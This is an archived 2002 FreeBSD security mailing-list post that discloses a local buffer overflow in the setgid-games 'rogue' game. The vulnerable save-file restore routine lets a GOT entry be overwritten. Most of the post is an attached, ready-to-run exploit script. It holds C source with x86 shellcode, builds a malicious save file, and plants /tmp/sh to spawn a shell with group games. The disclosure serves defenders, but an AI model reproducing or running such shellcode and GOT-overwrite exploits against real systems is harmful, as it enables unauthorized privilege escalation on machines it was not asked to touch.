The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

local exploitable overflow in rogue/FreeBSD


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sat, 28 Sep 2002 20:57:18 +0200
From: stanojr <stanojr@iserver.sk>
To: freebsd-security@freebsd.org
Subject: local exploitable overflow in rogue/FreeBSD

--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

VULNERABLE APPLICATION: rogue in FreeBSD (tested on 4.6-RELEASE)

ABOUT APPLICATION: rogue is a fantasy game which is indirectly setgid games

IMPACT: low/medium

EXPLOITATION:
we can be egid=games, with this we can:
1. edit score files in /var/games
2. /var/games use as a storage directory (typicaly when we are limited by quota)

SOLUTION:
1. disabling rogue game via /etc/dm.conf (mad rogueists KILL YOU)
2. fix in the source code

ABOUT BUG:
At first about dm (from man page):
Dm is a program used to regulate game playing.  Dm expects to be invoked
with the name of a game that a user wishes to play.  This is done by cre-
ating symbolic links to dm, in the directory /usr/games for all of the
regulated games.  The actual binaries for these games should be placed in
a ``hidden'' directory, /usr/games/hide, that may only be accessed by the
dm program.  Dm determines if the requested game is available and, if so,
runs it.  The file /etc/dm.conf controls the conditions under which games
may be run.

/usr/games/dm is of course setgid games

Other games which don`t needed games euid revoke privileges after start.
Games which needed games euid after start open the score file and revoke privileges.
Rogue don`t revoke privileges after start, it run egid games.
Vulnerability is in restoring saved game. There is a function read_string in restore function in save.c file
which don`t check the size of variable. We can rewrite an address in GOT (as in my attached exploit). 
 
ATTACHMENTS: instant-rogue-exp.sh - instant exploit to get egid=games

AUTHOR: stanojr@iserver.sk
ps: sorry, i know, my english is very bad :]

--5vNYLRcllDrimb99
Content-Type: application/x-sh
Content-Disposition: attachment; filename="instant-rogue-exp.sh"

#!/bin/sh

echo "ROGUE EXPLOIT FOR FreeBSD/i386 (4.6-RELEASE) AUTHOR: stanojr@iserver.sk"
echo "WARNING:"
echo "This exploit create 4 files: /tmp/sh, ./rogue-exp.c, ./rogue-exp, ./rogue.hsave\n"

echo "Creating rogue-exp.c which create a vulnerable save file"
cat >rogue-exp.c <<_EOF_
#include <stdio.h>
#include <string.h>

/*
 * shellcode exec /tmp/sh because of horrible terminal which
 * mess ncurses and we must fix it
 */

char shellcode[] =
        "\x31\xc0\x50\x89\xe2\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d"
        "\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80";

long xxx();

int main(ac,av)
int ac;
char *av[];
{
	char hunger_str[13475+strlen(shellcode)];
	char tmp[4];
	unsigned long addr=0x08060b38; // address after strcpy in GOT
	FILE *fp;

	if (ac!=2)
		usage(av[0]);

	memset(tmp,'A',sizeof(tmp)); // only temporary variable
	memset(hunger_str,'A',sizeof(hunger_str)); // our vulnerable variable

	memcpy(hunger_str+13470,&addr,sizeof(addr));
	memcpy(hunger_str+13474,shellcode,sizeof(shellcode)); // we put shellcode after addr
	hunger_str[sizeof(hunger_str)]=0; //we must close string

	if ((fp=fopen(av[1],"w"))==NULL){
		perror("fopen");
	}
	(void) xxx(1);
	r_write(fp, tmp, sizeof(char)); //detect_monster (see save.c)
	r_write(fp, tmp, sizeof(short)); //cur_level (see save.c)
	r_write(fp, tmp, sizeof(short)); //max_level (see save.c)
	write_string(hunger_str, fp); //our vulnerable variable 
	fclose(fp);

	return 0;
}

usage(p)
char *p;
{
	printf("usage: %s save\nsave - vulnerable save file\n",p);
	exit(0);
}

// xxx,xxxx,r_write,write_string stolen from rogue and little changed

r_write(fp, buf, n)
FILE *fp;
const char *buf;
int n;
{
	if (fwrite(buf, sizeof(char), n, fp) != n) {
		perror("fwrite");
	}
}

write_string(s, fp)
char *s;
FILE *fp;
{
        short n;
        n = strlen(s) + 1;
        xxxx(s, n);
        r_write(fp, (char *) &n, sizeof(short));
        r_write(fp, s, n);
}

xxxx(buf, n)
char *buf;
short n;
{
        short i;
        unsigned char c;
        for (i = 0; i < n; i++) {
                /* It does not matter if accuracy is lost during this assignment */
                c = (unsigned char) xxx(0);
                buf[i] ^= c;
        }
}

long
xxx(st)
char st;
{
        static long f, s;
        long r;
        if (st) {
                f = 37;
                s = 7;
                return(0L);
        }
        r = ((f * s) + 9337) % 8887;
        f = s;
        s = r;
        return(r);
}
_EOF_

echo "Creating /tmp/sh with stty command to fix terminal and then exec /bin/sh command"

cat >/tmp/sh <<_EOF_ 
#!/bin/sh

stty icanon echo icrnl onlcr oxtabs
echo "!!! BOOOM !!!"
id
exec /bin/sh
_EOF_

echo "cmd: chmod 755 /tmp/sh"
chmod 755 /tmp/sh
echo "cmd: make rogue-exp"
make rogue-exp
echo "Creating vulnerable save file"
echo "cmd: ./rogue-exp rogue.hsave"
./rogue-exp rogue.hsave
echo "Execing rogue with vuln save file"
echo "cmd: rogue rogue.hsave"
rogue rogue.hsave


--5vNYLRcllDrimb99--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
InterReklama Advertizing
Интерреклама. Интернет
RB2 Network.